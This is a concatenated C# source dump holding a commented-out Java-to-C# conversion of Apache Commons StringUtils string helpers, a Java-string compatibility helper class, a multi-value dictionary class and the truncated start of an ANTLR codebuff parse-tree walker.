char.IsWhiteSpace(actualChar); // if (!isWhitespace) // { // startWhitespaces = false; // newChars[count++] = (actualChar == 160 ? 32 : actualChar); // whitespacesCount = 0; // } // else // { // if (whitespacesCount == 0 && !startWhitespaces) // { // newChars[count++] = SPACE[0]; // } // whitespacesCount++; // } // } // if (startWhitespaces) // { // return EMPTY; // } // return (new string(newChars, 0, count - (whitespacesCount > 0 ? 1 : 0))).Trim(); // } // /// <summary> // /// <para>Check if a CharSequence ends with any of the provided case-sensitive suffixes.</para> // /// // /// <pre> // /// StringUtils.endsWithAny(null, null) = false // /// StringUtils.endsWithAny(null, new String[] {"abc"}) = false // /// StringUtils.endsWithAny("abcxyz", null) = false // /// StringUtils.endsWithAny("abcxyz", new String[] {""}) = true // /// StringUtils.endsWithAny("abcxyz", new String[] {"xyz"}) = true // /// StringUtils.endsWithAny("abcxyz", new String[] {null, "xyz", "abc"}) = true // /// StringUtils.endsWithAny("abcXYZ", "def", "XYZ") = true // /// StringUtils.endsWithAny("abcXYZ", "def", "xyz") = false // /// </pre> // /// </summary> // /// <param name="sequence"> the CharSequence to check, may be null </param> // /// <param name="searchStrings"> the case-sensitive CharSequences to find, may be empty or contain {@code null} </param> // /// <seealso cref= StringUtils#endsWith(CharSequence, CharSequence) </seealso> // /// <returns> {@code true} if the input {@code sequence} is {@code null} AND no {@code searchStrings} are provided, or // /// the input {@code sequence} ends in any of the provided case-sensitive {@code searchStrings}. // /// @since 3.0 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static boolean endsWithAny(final CharSequence sequence, final CharSequence... searchStrings) // public static bool endsWithAny(CharSequence sequence, params CharSequence[] searchStrings) // { // if (isEmpty(sequence) || ArrayUtils.isEmpty(searchStrings)) // { // return false; // } // foreach (CharSequence searchString in searchStrings) // { // if (endsWith(sequence, searchString)) // { // return true; // } // } // return false; // } // /// <summary> // /// Appends the suffix to the end of the string if the string does not // /// already end with the suffix. // /// </summary> // /// <param name="str"> The string. </param> // /// <param name="suffix"> The suffix to append to the end of the string. </param> // /// <param name="ignoreCase"> Indicates whether the compare should ignore case. </param> // /// <param name="suffixes"> Additional suffixes that are valid terminators (optional). // /// </param> // /// <returns> A new String if suffix was appended, the same string otherwise. </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: private static String appendIfMissing(final String str, final CharSequence suffix, final boolean ignoreCase, final CharSequence... suffixes) // private static string appendIfMissing(string str, CharSequence suffix, bool ignoreCase, params CharSequence[] suffixes) // { // if (string.ReferenceEquals(str, null) || isEmpty(suffix) || endsWith(str, suffix, ignoreCase)) // { // return str; // } // if (suffixes != null && suffixes.Length > 0) // { // foreach (CharSequence s in suffixes) // { // if (endsWith(str, s, ignoreCase)) // { // return str; // } // } // } // return str + suffix.ToString(); // } // /// <summary> // /// Appends the suffix to the end of the string if the string does not // /// already end with any of the suffixes. // /// // /// <pre> // /// StringUtils.appendIfMissing(null, null) = null // /// StringUtils.appendIfMissing("abc", null) = "abc" // /// StringUtils.appendIfMissing("", "xyz") = "xyz" // /// StringUtils.appendIfMissing("abc", "xyz") = "abcxyz" // /// StringUtils.appendIfMissing("abcxyz", "xyz") = "abcxyz" // /// StringUtils.appendIfMissing("abcXYZ", "xyz") = "abcXYZxyz" // /// </pre> // /// <para>With additional suffixes,</para> // /// <pre> // /// StringUtils.appendIfMissing(null, null, null) = null // /// StringUtils.appendIfMissing("abc", null, null) = "abc" // /// StringUtils.appendIfMissing("", "xyz", null) = "xyz" // /// StringUtils.appendIfMissing("abc", "xyz", new CharSequence[]{null}) = "abcxyz" // /// StringUtils.appendIfMissing("abc", "xyz", "") = "abc" // /// StringUtils.appendIfMissing("abc", "xyz", "mno") = "abcxyz" // /// StringUtils.appendIfMissing("abcxyz", "xyz", "mno") = "abcxyz" // /// StringUtils.appendIfMissing("abcmno", "xyz", "mno") = "abcmno" // /// StringUtils.appendIfMissing("abcXYZ", "xyz", "mno") = "abcXYZxyz" // /// StringUtils.appendIfMissing("abcMNO", "xyz", "mno") = "abcMNOxyz" // /// </pre> // /// </summary> // /// <param name="str"> The string. </param> // /// <param name="suffix"> The suffix to append to the end of the string. </param> // /// <param name="suffixes"> Additional suffixes that are valid terminators. // /// </param> // /// <returns> A new String if suffix was appended, the same string otherwise. // /// // /// @since 3.2 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String appendIfMissing(final String str, final CharSequence suffix, final CharSequence... suffixes) // public static string appendIfMissing(string str, CharSequence suffix, params CharSequence[] suffixes) // { // return appendIfMissing(str, suffix, false, suffixes); // } // /// <summary> // /// Appends the suffix to the end of the string if the string does not // /// already end, case insensitive, with any of the suffixes. // /// // /// <pre> // /// StringUtils.appendIfMissingIgnoreCase(null, null) = null // /// StringUtils.appendIfMissingIgnoreCase("abc", null) = "abc" // /// StringUtils.appendIfMissingIgnoreCase("", "xyz") = "xyz" // /// StringUtils.appendIfMissingIgnoreCase("abc", "xyz") = "abcxyz" // /// StringUtils.appendIfMissingIgnoreCase("abcxyz", "xyz") = "abcxyz" // /// StringUtils.appendIfMissingIgnoreCase("abcXYZ", "xyz") = "abcXYZ" // /// </pre> // /// <para>With additional suffixes,</para> // /// <pre> // /// StringUtils.appendIfMissingIgnoreCase(null, null, null) = null // /// StringUtils.appendIfMissingIgnoreCase("abc", null, null) = "abc" // /// StringUtils.appendIfMissingIgnoreCase("", "xyz", null) = "xyz" // /// StringUtils.appendIfMissingIgnoreCase("abc", "xyz", new CharSequence[]{null}) = "abcxyz" // /// StringUtils.appendIfMissingIgnoreCase("abc", "xyz", "") = "abc" // /// StringUtils.appendIfMissingIgnoreCase("abc", "xyz", "mno") = "axyz" // /// StringUtils.appendIfMissingIgnoreCase("abcxyz", "xyz", "mno") = "abcxyz" // /// StringUtils.appendIfMissingIgnoreCase("abcmno", "xyz", "mno") = "abcmno" // /// StringUtils.appendIfMissingIgnoreCase("abcXYZ", "xyz", "mno") = "abcXYZ" // /// StringUtils.appendIfMissingIgnoreCase("abcMNO", "xyz", "mno") = "abcMNO" // /// </pre> // /// </summary> // /// <param name="str"> The string. </param> // /// <param name="suffix"> The suffix to append to the end of the string. </param> // /// <param name="suffixes"> Additional suffixes that are valid terminators. // /// </param> // /// <returns> A new String if suffix was appended, the same string otherwise. // /// // /// @since 3.2 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String appendIfMissingIgnoreCase(final String str, final CharSequence suffix, final CharSequence... suffixes) // public static string appendIfMissingIgnoreCase(string str, CharSequence suffix, params CharSequence[] suffixes) // { // return appendIfMissing(str, suffix, true, suffixes); // } // /// <summary> // /// Prepends the prefix to the start of the string if the string does not // /// already start with any of the prefixes. // /// </summary> // /// <param name="str"> The string. </param> // /// <param name="prefix"> The prefix to prepend to the start of the string. </param> // /// <param name="ignoreCase"> Indicates whether the compare should ignore case. </param> // /// <param name="prefixes"> Additional prefixes that are valid (optional). // /// </param> // /// <returns> A new String if prefix was prepended, the same string otherwise. </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: private static String prependIfMissing(final String str, final CharSequence prefix, final boolean ignoreCase, final CharSequence... prefixes) // private static string prependIfMissing(string str, CharSequence prefix, bool ignoreCase, params CharSequence[] prefixes) // { // if (string.ReferenceEquals(str, null) || isEmpty(prefix) || startsWith(str, prefix, ignoreCase)) // { // return str; // } // if (prefixes != null && prefixes.Length > 0) // { // foreach (CharSequence p in prefixes) // { // if (startsWith(str, p, ignoreCase)) // { // return str; // } // } // } // return prefix.ToString() + str; // } // /// <summary> // /// Prepends the prefix to the start of the string if the string does not // /// already start with any of the prefixes. // /// // /// <pre> // /// StringUtils.prependIfMissing(null, null) = null // /// StringUtils.prependIfMissing("abc", null) = "abc" // /// StringUtils.prependIfMissing("", "xyz") = "xyz" // /// StringUtils.prependIfMissing("abc", "xyz") = "xyzabc" // /// StringUtils.prependIfMissing("xyzabc", "xyz") = "xyzabc" // /// StringUtils.prependIfMissing("XYZabc", "xyz") = "xyzXYZabc" // /// </pre> // /// <para>With additional prefixes,</para> // /// <pre> // /// StringUtils.prependIfMissing(null, null, null) = null // /// StringUtils.prependIfMissing("abc", null, null) = "abc" // /// StringUtils.prependIfMissing("", "xyz", null) = "xyz" // /// StringUtils.prependIfMissing("abc", "xyz", new CharSequence[]{null}) = "xyzabc" // /// StringUtils.prependIfMissing("abc", "xyz", "") = "abc" // /// StringUtils.prependIfMissing("abc", "xyz", "mno") = "xyzabc" // /// StringUtils.prependIfMissing("xyzabc", "xyz", "mno") = "xyzabc" // /// StringUtils.prependIfMissing("mnoabc", "xyz", "mno") = "mnoabc" // /// StringUtils.prependIfMissing("XYZabc", "xyz", "mno") = "xyzXYZabc" // /// StringUtils.prependIfMissing("MNOabc", "xyz", "mno") = "xyzMNOabc" // /// </pre> // /// </summary> // /// <param name="str"> The string. </param> // /// <param name="prefix"> The prefix to prepend to the start of the string. </param> // /// <param name="prefixes"> Additional prefixes that are valid. // /// </param> // /// <returns> A new String if prefix was prepended, the same string otherwise. // /// // /// @since 3.2 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String prependIfMissing(final String str, final CharSequence prefix, final CharSequence... prefixes) // public static string prependIfMissing(string str, CharSequence prefix, params CharSequence[] prefixes) // { // return prependIfMissing(str, prefix, false, prefixes); // } // /// <summary> // /// Prepends the prefix to the start of the string if the string does not // /// already start, case insensitive, with any of the prefixes. // /// // /// <pre> // /// StringUtils.prependIfMissingIgnoreCase(null, null) = null // /// StringUtils.prependIfMissingIgnoreCase("abc", null) = "abc" // /// StringUtils.prependIfMissingIgnoreCase("", "xyz") = "xyz" // /// StringUtils.prependIfMissingIgnoreCase("abc", "xyz") = "xyzabc" // /// StringUtils.prependIfMissingIgnoreCase("xyzabc", "xyz") = "xyzabc" // /// StringUtils.prependIfMissingIgnoreCase("XYZabc", "xyz") = "XYZabc" // /// </pre> // /// <para>With additional prefixes,</para> // /// <pre> // /// StringUtils.prependIfMissingIgnoreCase(null, null, null) = null // /// StringUtils.prependIfMissingIgnoreCase("abc", null, null) = "abc" // /// StringUtils.prependIfMissingIgnoreCase("", "xyz", null) = "xyz" // /// StringUtils.prependIfMissingIgnoreCase("abc", "xyz", new CharSequence[]{null}) = "xyzabc" // /// StringUtils.prependIfMissingIgnoreCase("abc", "xyz", "") = "abc" // /// StringUtils.prependIfMissingIgnoreCase("abc", "xyz", "mno") = "xyzabc" // /// StringUtils.prependIfMissingIgnoreCase("xyzabc", "xyz", "mno") = "xyzabc" // /// StringUtils.prependIfMissingIgnoreCase("mnoabc", "xyz", "mno") = "mnoabc" // /// StringUtils.prependIfMissingIgnoreCase("XYZabc", "xyz", "mno") = "XYZabc" // /// StringUtils.prependIfMissingIgnoreCase("MNOabc", "xyz", "mno") = "MNOabc" // /// </pre> // /// </summary> // /// <param name="str"> The string. </param> // /// <param name="prefix"> The prefix to prepend to the start of the string. </param> // /// <param name="prefixes"> Additional prefixes that are valid (optional). // /// </param> // /// <returns> A new String if prefix was prepended, the same string otherwise. // /// // /// @since 3.2 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String prependIfMissingIgnoreCase(final String str, final CharSequence prefix, final CharSequence... prefixes) // public static string prependIfMissingIgnoreCase(string str, CharSequence prefix, params CharSequence[] prefixes) // { // return prependIfMissing(str, prefix, true, prefixes); // } // /// <summary> // /// Converts a <code>byte[]</code> to a String using the specified character encoding. // /// </summary> // /// <param name="bytes"> // /// the byte array to read from </param> // /// <param name="charsetName"> // /// the encoding to use, if null then use the platform default </param> // /// <returns> a new String </returns> // /// <exception cref="UnsupportedEncodingException"> // /// If the named charset is not supported </exception> // /// <exception cref="NullPointerException"> // /// if the input is null </exception> // /// @deprecated use <seealso cref="StringUtils#toEncodedString(byte[], Charset)"/> instead of String constants in your code // /// @since 3.1 // //JAVA TO C# CONVERTER WARNING: Method 'throws' clauses are not available in .NET: // //ORIGINAL LINE: @Deprecated("use <seealso cref="StringUtils#toEncodedString(byte[], java.nio.charset.Charset)"/> instead of String constants in your code") public static String toString(final byte[] bytes, final String charsetName) throws java.io.UnsupportedEncodingException // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // [Obsolete("use <seealso cref="StringUtils#toEncodedString(byte[], java.nio.charset.Charset)"/> instead of String constants in your code")] //public static string ToString(sbyte[] bytes, string charsetName) // { // return !string.ReferenceEquals(charsetName, null) ? StringHelperClass.NewString(bytes, charsetName) : StringHelperClass.NewString(bytes, Charset.defaultCharset()); // } // /// <summary> // /// Converts a <code>byte[]</code> to a String using the specified character encoding. // /// </summary> // /// <param name="bytes"> // /// the byte array to read from </param> // /// <param name="charset"> // /// the encoding to use, if null then use the platform default </param> // /// <returns> a new String </returns> // /// <exception cref="NullPointerException"> // /// if {@code bytes} is null // /// @since 3.2 // /// @since 3.3 No longer throws <seealso cref="UnsupportedEncodingException"/>. </exception> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String toEncodedString(final byte[] bytes, final java.nio.charset.Charset charset) // public static string toEncodedString(sbyte[] bytes, Charset charset) // { // return StringHelperClass.NewString(bytes, charset != null ? charset : Charset.defaultCharset()); // } // /// <summary> // /// <para> // /// Wraps a string with a char. // /// </para> // /// // /// <pre> // /// StringUtils.wrap(null, *) = null // /// StringUtils.wrap("", *) = "" // /// StringUtils.wrap("ab", '\0') = "ab" // /// StringUtils.wrap("ab", 'x') = "xabx" // /// StringUtils.wrap("ab", '\'') = "'ab'" // /// StringUtils.wrap("\"ab\"", '\"') = "\"\"ab\"\"" // /// </pre> // /// </summary> // /// <param name="str"> // /// the string to be wrapped, may be {@code null} </param> // /// <param name="wrapWith"> // /// the char that will wrap {@code str} </param> // /// <returns> the wrapped string, or {@code null} if {@code str==null} // /// @since 3.4 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String wrap(final String str, final char wrapWith) // public static string wrap(string str, char wrapWith) // { // if (isEmpty(str) || wrapWith == '\0') // { // return str; // } // return wrapWith + str + wrapWith; // } // /// <summary> // /// <para> // /// Wraps a String with another String. // /// </para> // /// // /// <para> // /// A {@code null} input String returns {@code null}. // /// </para> // /// // /// <pre> // /// StringUtils.wrap(null, *) = null // /// StringUtils.wrap("", *) = "" // /// StringUtils.wrap("ab", null) = "ab" // /// StringUtils.wrap("ab", "x") = "xabx" // /// StringUtils.wrap("ab", "\"") = "\"ab\"" // /// StringUtils.wrap("\"ab\"", "\"") = "\"\"ab\"\"" // /// StringUtils.wrap("ab", "'") = "'ab'" // /// StringUtils.wrap("'abcd'", "'") = "''abcd''" // /// StringUtils.wrap("\"abcd\"", "'") = "'\"abcd\"'" // /// StringUtils.wrap("'abcd'", "\"") = "\"'abcd'\"" // /// </pre> // /// </summary> // /// <param name="str"> // /// the String to be wrapper, may be null </param> // /// <param name="wrapWith"> // /// the String that will wrap str </param> // /// <returns> wrapped String, {@code null} if null String input // /// @since 3.4 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String wrap(final String str, final String wrapWith) // public static string wrap(string str, string wrapWith) // { // if (isEmpty(str) || isEmpty(wrapWith)) // { // return str; // } // return wrapWith + str + wrapWith; // } // /// <summary> // /// <para> // /// Wraps a string with a char if that char is missing from the start or end of the given string. // /// </para> // /// // /// <pre> // /// StringUtils.wrap(null, *) = null // /// StringUtils.wrap("", *) = "" // /// StringUtils.wrap("ab", '\0') = "ab" // /// StringUtils.wrap("ab", 'x') = "xabx" // /// StringUtils.wrap("ab", '\'') = "'ab'" // /// StringUtils.wrap("\"ab\"", '\"') = "\"ab\"" // /// StringUtils.wrap("/", '/') = "/" // /// StringUtils.wrap("a/b/c", '/') = "/a/b/c/" // /// StringUtils.wrap("/a/b/c", '/') = "/a/b/c/" // /// StringUtils.wrap("a/b/c/", '/') = "/a/b/c/" // /// </pre> // /// </summary> // /// <param name="str"> // /// the string to be wrapped, may be {@code null} </param> // /// <param name="wrapWith"> // /// the char that will wrap {@code str} </param> // /// <returns> the wrapped string, or {@code null} if {@code str==null} // /// @since 3.5 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String wrapIfMissing(final String str, final char wrapWith) // public static string wrapIfMissing(string str, char wrapWith) // { // if (isEmpty(str) || wrapWith == '\0') // { // return str; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final StringBuilder builder = new StringBuilder(str.length() + 2); // StringBuilder builder = new StringBuilder(str.Length + 2); // if (str[0] != wrapWith) // { // builder.Append(wrapWith); // } // builder.Append(str); // if (str[str.Length - 1] != wrapWith) // { // builder.Append(wrapWith); // } // return builder.ToString(); // } // /// <summary> // /// <para> // /// Wraps a string with a string if that string is missing from the start or end of the given string. // /// </para> // /// // /// <pre> // /// StringUtils.wrap(null, *) = null // /// StringUtils.wrap("", *) = "" // /// StringUtils.wrap("ab", null) = "ab" // /// StringUtils.wrap("ab", "x") = "xabx" // /// StringUtils.wrap("ab", "\"") = "\"ab\"" // /// StringUtils.wrap("\"ab\"", "\"") = "\"ab\"" // /// StringUtils.wrap("ab", "'") = "'ab'" // /// StringUtils.wrap("'abcd'", "'") = "'abcd'" // /// StringUtils.wrap("\"abcd\"", "'") = "'\"abcd\"'" // /// StringUtils.wrap("'abcd'", "\"") = "\"'abcd'\"" // /// StringUtils.wrap("/", "/") = "/" // /// StringUtils.wrap("a/b/c", "/") = "/a/b/c/" // /// StringUtils.wrap("/a/b/c", "/") = "/a/b/c/" // /// StringUtils.wrap("a/b/c/", "/") = "/a/b/c/" // /// </pre> // /// </summary> // /// <param name="str"> // /// the string to be wrapped, may be {@code null} </param> // /// <param name="wrapWith"> // /// the char that will wrap {@code str} </param> // /// <returns> the wrapped string, or {@code null} if {@code str==null} // /// @since 3.5 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String wrapIfMissing(final String str, final String wrapWith) // public static string wrapIfMissing(string str, string wrapWith) // { // if (isEmpty(str) || isEmpty(wrapWith)) // { // return str; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final StringBuilder builder = new StringBuilder(str.length() + wrapWith.length() + wrapWith.length()); // StringBuilder builder = new StringBuilder(str.Length + wrapWith.Length + wrapWith.Length); // if (!str.StartsWith(wrapWith, StringComparison.Ordinal)) // { // builder.Append(wrapWith); // } // builder.Append(str); // if (!str.EndsWith(wrapWith, StringComparison.Ordinal)) // { // builder.Append(wrapWith); // } // return builder.ToString(); // } // /// <summary> // /// <para> // /// Unwraps a given string from anther string. // /// </para> // /// // /// <pre> // /// StringUtils.unwrap(null, null) = null // /// StringUtils.unwrap(null, "") = null // /// StringUtils.unwrap(null, "1") = null // /// StringUtils.unwrap("\'abc\'", "\'") = "abc" // /// StringUtils.unwrap("\"abc\"", "\"") = "abc" // /// StringUtils.unwrap("AABabcBAA", "AA") = "BabcB" // /// StringUtils.unwrap("A", "#") = "A" // /// StringUtils.unwrap("#A", "#") = "#A" // /// StringUtils.unwrap("A#", "#") = "A#" // /// </pre> // /// </summary> // /// <param name="str"> // /// the String to be unwrapped, can be null </param> // /// <param name="wrapToken"> // /// the String used to unwrap </param> // /// <returns> unwrapped String or the original string // /// if it is not quoted properly with the wrapToken // /// @since 3.6 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String unwrap(final String str, final String wrapToken) // public static string unwrap(string str, string wrapToken) // { // if (isEmpty(str) || isEmpty(wrapToken)) // { // return str; // } // if (startsWith(str, wrapToken) && endsWith(str, wrapToken)) // { // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int startIndex = str.indexOf(wrapToken); // int startIndex = str.IndexOf(wrapToken, StringComparison.Ordinal); // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int endIndex = str.lastIndexOf(wrapToken); // int endIndex = str.LastIndexOf(wrapToken, StringComparison.Ordinal); // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int wrapLength = wrapToken.length(); // int wrapLength = wrapToken.Length; // if (startIndex != -1 && endIndex != -1) // { // return str.Substring(startIndex + wrapLength, endIndex - (startIndex + wrapLength)); // } // } // return str; // } // /// <summary> // /// <para> // /// Unwraps a given string from a character. // /// </para> // /// // /// <pre> // /// StringUtils.unwrap(null, null) = null // /// StringUtils.unwrap(null, '\0') = null // /// StringUtils.unwrap(null, '1') = null // /// StringUtils.unwrap("\'abc\'", '\'') = "abc" // /// StringUtils.unwrap("AABabcBAA", 'A') = "ABabcBA" // /// StringUtils.unwrap("A", '#') = "A" // /// StringUtils.unwrap("#A", '#') = "#A" // /// StringUtils.unwrap("A#", '#') = "A#" // /// </pre> // /// </summary> // /// <param name="str"> // /// the String to be unwrapped, can be null </param> // /// <param name="wrapChar"> // /// the character used to unwrap </param> // /// <returns> unwrapped String or the original string // /// if it is not quoted properly with the wrapChar // /// @since 3.6 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String unwrap(final String str, final char wrapChar) // public static string unwrap(string str, char wrapChar) // { // if (isEmpty(str) || wrapChar == '\0') // { // return str; // } // if (str[0] == wrapChar && str[str.Length - 1] == wrapChar) // { // const int startIndex = 0; // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int endIndex = str.length() - 1; // int endIndex = str.Length - 1; // if (startIndex != -1 && endIndex != -1) // { // return str.Substring(startIndex + 1, endIndex - (startIndex + 1)); // } // } // return str; // } // /// <summary> // /// <para>Converts a {@code CharSequence} into an array of code points.</para> // /// // /// <para>Valid pairs of surrogate code units will be converted into a single supplementary // /// code point. Isolated surrogate code units (i.e. a high surrogate not followed by a low surrogate or // /// a low surrogate not preceeded by a high surrogate) will be returned as-is.</para> // /// // /// <pre> // /// StringUtils.toCodePoints(null) = null // /// StringUtils.toCodePoints("") = [] // empty array // /// </pre> // /// </summary> // /// <param name="str"> the character sequence to convert </param> // /// <returns> an array of code points // /// @since 3.6 </returns> // public static int[] toCodePoints(CharSequence str) // { // if (str == null) // { // return null; // } // if (str.length() == 0) // { // return ArrayUtils.EMPTY_INT_ARRAY; // } // string s = str.ToString(); // int[] result = new int[s.codePointCount(0, s.Length)]; // int index = 0; // for (int i = 0; i < result.Length; i++) // { // result[i] = char.ConvertToUtf32(s, index); // index += Character.charCount(result[i]); // } // return result; // } } } //------------------------------------------------------------------------------------------- // Copyright © 2007 - 2017 Tangible Software Solutions Inc. // This class can be used by anyone provided that the copyright notice remains intact. // // This class is used to convert some aspects of the Java String class. //------------------------------------------------------------------------------------------- internal static class StringHelperClass { //---------------------------------------------------------------------------------- // This method replaces the Java String.substring method when 'start' is a // method call or calculated value to ensure that 'start' is obtained just once. //---------------------------------------------------------------------------------- internal static string SubstringSpecial(this string self, int start, int end) { return self.Substring(start, end - start); } //------------------------------------------------------------------------------------ // This method is used to replace calls to the 2-arg Java String.startsWith method. //------------------------------------------------------------------------------------ internal static bool StartsWith(this string self, string prefix, int toffset) { return self.IndexOf(prefix, toffset, System.StringComparison.Ordinal) == toffset; } //------------------------------------------------------------------------------ // This method is used to replace most calls to the Java String.split method. //------------------------------------------------------------------------------ internal static string[] Split(this string self, string regexDelimiter, bool trimTrailingEmptyStrings) { string[] splitArray = System.Text.RegularExpressions.Regex.Split(self, regexDelimiter); if (trimTrailingEmptyStrings) { if (splitArray.Length > 1) { for (int i = splitArray.Length; i > 0; i--) { if (splitArray[i - 1].Length > 0) { if (i < splitArray.Length) System.Array.Resize(ref splitArray, i); break; } } } } return splitArray; } //----------------------------------------------------------------------------- // These methods are used to replace calls to some Java String constructors. //----------------------------------------------------------------------------- internal static string NewString(sbyte[] bytes) { return NewString(bytes, 0, bytes.Length); } internal static string NewString(sbyte[] bytes, int index, int count) { return System.Text.Encoding.UTF8.GetString((byte[])(object)bytes, index, count); } internal static string NewString(sbyte[] bytes, string encoding) { return NewString(bytes, 0, bytes.Length, encoding); } internal static string NewString(sbyte[] bytes, int index, int count, string encoding) { return System.Text.Encoding.GetEncoding(encoding).GetString((byte[])(object)bytes, index, count); } //-------------------------------------------------------------------------------- // These methods are used to replace calls to the Java String.getBytes methods. //-------------------------------------------------------------------------------- internal static sbyte[] GetBytes(this string self) { return GetSBytesForEncoding(System.Text.Encoding.UTF8, self); } internal static sbyte[] GetBytes(this string self, System.Text.Encoding encoding) { return GetSBytesForEncoding(encoding, self); } internal static sbyte[] GetBytes(this string self, string encoding) { return GetSBytesForEncoding(System.Text.Encoding.GetEncoding(encoding), self); } private static sbyte[] GetSBytesForEncoding(System.Text.Encoding encoding, string s) { sbyte[] sbytes = new sbyte[encoding.GetByteCount(s)]; encoding.GetBytes(s, 0, s.Length, (byte[])(object)sbytes, 0); return sbytes; } } <file_sep>using System.Collections.Generic; namespace org.antlr.codebuff.misc { /// <summary> /// Extension to the normal Dictionary. This class can store more than one value for every key. It keeps a HashSet for every Key value. /// Calling Add with the same Key and multiple values will store each value under the same Key in the Dictionary. Obtaining the values /// for a Key will return the HashSet with the Values of the Key. /// </summary> /// <typeparam name="K">The type of the key.</typeparam> /// <typeparam name="V">The type of the value.</typeparam> public class MyMultiMap<K, V> : Dictionary<K, MyHashSet<V>> { /// <summary> /// Initializes a new instance of the <see cref="MyMultiMap&lt;TKey, TValue&gt;"/> class. /// </summary> public MyMultiMap() : base() { } /// <summary> /// Adds the specified value under the specified key /// </summary> /// <param name="key">The key.</param> /// <param name="value">The value.</param> public void Add(K key, V value) { MyHashSet<V> container = null; if (!this.TryGetValue(key, out container)) { container = new MyHashSet<V>(); base.Add(key, container); } container.add(value); } /// <summary> /// Determines whether this dictionary contains the specified value for the specified key /// </summary> /// <param name="key">The key.</param> /// <param name="value">The value.</param> /// <returns>true if the value is stored for the specified key in this dictionary, false otherwise</returns> public bool ContainsValue(K key, V value) { bool toReturn = false; MyHashSet<V> values = null; if (this.TryGetValue(key, out values)) { toReturn = values.contains(value); } return toReturn; } /// <summary> /// Removes the specified value for the specified key. It will leave the key in the dictionary. /// </summary> /// <param name="key">The key.</param> /// <param name="value">The value.</param> public void Remove(K key, V value) { MyHashSet<V> container = null; if (this.TryGetValue(key, out container)) { container.remove(value); if (container.size() <= 0) { this.Remove(key); } } } /// <summary> /// Merges the specified multivaluedictionary into this instance. /// </summary> /// <param name="toMergeWith">To merge with.</param> public void Merge(MyMultiMap<K, V> toMergeWith) { if (toMergeWith == null) { return; } foreach (KeyValuePair<K, MyHashSet<V>> pair in toMergeWith) { foreach (V value in pair.Value) { this.Add(pair.Key, value); } } } /// <summary> /// Gets the values for the key specified. This method is useful if you want to avoid an exception for key value retrieval and you can't use TryGetValue /// (e.g. in lambdas) /// </summary> /// <param name="key">The key.</param> /// <param name="returnEmptySet">if set to true and the key isn't found, an empty hashset is returned, otherwise, if the key isn't found, null is returned</param> /// <returns> /// This method will return null (or an empty set if returnEmptySet is true) if the key wasn't found, or /// the values if key was found. /// </returns> public MyHashSet<V> GetValues(K key, bool returnEmptySet) { MyHashSet<V> toReturn = null; if (!base.TryGetValue(key, out toReturn) && returnEmptySet) { toReturn = new MyHashSet<V>(); } return toReturn; } public virtual void Map(K key, V value) { MyHashSet<V> elementsForKey; if (!TryGetValue(key, out elementsForKey)) { elementsForKey = new MyHashSet<V>(); this[key] = elementsForKey; } elementsForKey.add(value); } } }<file_sep>using System; using System.Collections.Generic; using Antlr4.Runtime.Misc; using Antlr4.Runtime.Tree; using System.Linq; namespace org.antlr.codebuff.walkers { using BuffUtils = org.antlr.codebuff.misc.BuffUtils; using CodeBuffTokenStream = org.antlr.codebuff.misc.CodeBuffTokenStream; using ParserRuleContext = Antlr4.Runtime.ParserRuleContext; using Token = Antlr4.Runtime.IToken; //using Pair = org.antlr.v4.runtime.misc.Pair; using ErrorNode = Antlr4.Runtime.Tree.IErrorNode; using ParseTree = Antlr4.Runtime.Tree.IParseTree; using ParseTreeListener = Antlr4.Runtime.Tree.IParseTreeListener; using TerminalNode = Antlr4.Runtime.Tree.ITerminalNode; using Tree = Antlr4.Runtime.Tree.ITree; using Trees = Antlr4.Runtime.Tree.Trees; public abstract class VisitSiblingLists : ParseTreeListener { public abstract void visitNonSingletonWithSeparator<T1>(ParserRuleContext ctx, IList<T1> siblings, Token separator) where T1 : Antlr4.Runtime.ParserRuleContext; public static IList<Tree> getSeparators<T1>(ParserRuleContext ctx, IList<T1> siblings) where T1 : Antlr4.Runtime.ParserRuleContext { ParserRuleContext first = siblings[0] as ParserRuleContext; ParserRuleContext last = siblings[siblings.Count - 1] as ParserRuleContext; int start = BuffUtils.indexOf(ctx, first); int end = BuffUtils.indexOf(ctx, last); IEnumerable<ITree> xxxx = Trees.GetChildren(ctx).Where((n, i) => i >= start && i < end + 1); IList<Tree> elements = xxxx.ToList(); return BuffUtils.filter(elements, c => c is TerminalNode); } /// <summary> /// Return map for the various tokens related to this list re list membership </summary> public static IDictionary<Token, org.antlr.codebuff.misc.Pair<bool, int>> getInfoAboutListTokens<T1>(ParserRuleContext ctx, CodeBuffTokenStream tokens, IDictionary<Token, TerminalNode> tokenToNodeMap, IList<T1> siblings, bool isOversizeList) where T1 : 